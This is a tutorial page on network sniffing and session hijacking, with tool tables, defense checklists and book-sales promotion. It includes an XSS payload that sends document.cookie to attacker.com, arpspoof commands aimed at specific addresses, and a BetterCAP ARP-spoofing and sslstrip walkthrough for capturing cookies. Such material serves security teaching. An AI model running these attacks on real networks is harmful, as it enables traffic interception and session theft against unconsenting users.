Complete guide to network sniffing, session hijacking techniques, tools, and defenses.
Sniffing and session hijacking are critical network attacks where an attacker intercepts and manipulates network traffic to steal sensitive data or take over authenticated sessions. This guide covers techniques, tools, and defenses.
📚 Get Your Copy Today!
🛒 Buy Now on Amazon| Tool | Purpose |
|---|---|
| Wireshark | GUI-based packet analyzer |
| Tcpdump | Command-line packet capture |
| Ettercap | MITM (Man-in-the-Middle) attacks |
| BetterCAP | Advanced MITM framework |
| dsniff | Password sniffing |
Step 1: Set Up Promiscuous Mode
ifconfig eth0 promisc # Enable promiscuous mode
Step 2: Capture Traffic with Wireshark
http, ftp, tcp.port == 80).Step 3: Analyze Packets
Cookie: header in HTTP).| Type | Method |
|---|---|
| Predictable Session Tokens | Guessing weak session IDs |
| Session Sidejacking | Sniffing unencrypted cookies |
| Session Fixation | Forcing a victim to use attacker's session ID |
| Cross-Site Scripting (XSS) | Stealing cookies via JavaScript |
| Man-in-the-Middle (MITM) | Intercepting and modifying traffic |
| Tool | Purpose |
|---|---|
| Burp Suite | Intercepting & modifying HTTP sessions |
| ZAP (OWASP) | Web app session hijacking |
| Ferret | Cookie hijacking tool |
| Hamster | Sidejacking tool (with Ferret) |
| Ettercap | MITM-based session hijacking |
1. Inject malicious script:
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
2. Capture stolen cookie on attacker's server (steal.php logs cookies).
1. ARP Poisoning (redirect traffic to attacker):
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
PHPSESSID=attacker123).✔ Encrypt traffic (HTTPS, SSH, VPN)
✔ Disable unused protocols (Telnet, FTP)
✔ Use ARP spoofing detection (ARPWatch, XArp)
✔ Network segmentation (VLANs, firewalls)
✔ Use HTTPS (SSL/TLS) for all web traffic
✔ Secure cookies (HttpOnly, Secure, SameSite flags)
✔ Regenerate session IDs after login
✔ Implement CSRF tokens
✔ Monitor abnormal logins (IP changes, multiple sessions)
1. Install BetterCAP:
sudo apt install bettercap
2. Start ARP spoofing:
sudo bettercap -iface eth0
> net.probe on
> net.recon on
> arp.spoof on
3. Sniff HTTP traffic:
> set http.proxy.sslstrip true
> http.proxy on
4. Analyze stolen cookies in BetterCAP logs.
Cookie: or Set-Cookie: headers.PHPSESSID, JSESSIONID).Secure, HttpOnly).curl or Burp Suite.💡 Stolen cookies enable session hijacking if unprotected.
🚀 Would you like a step-by-step demo on intercepting an SSH session?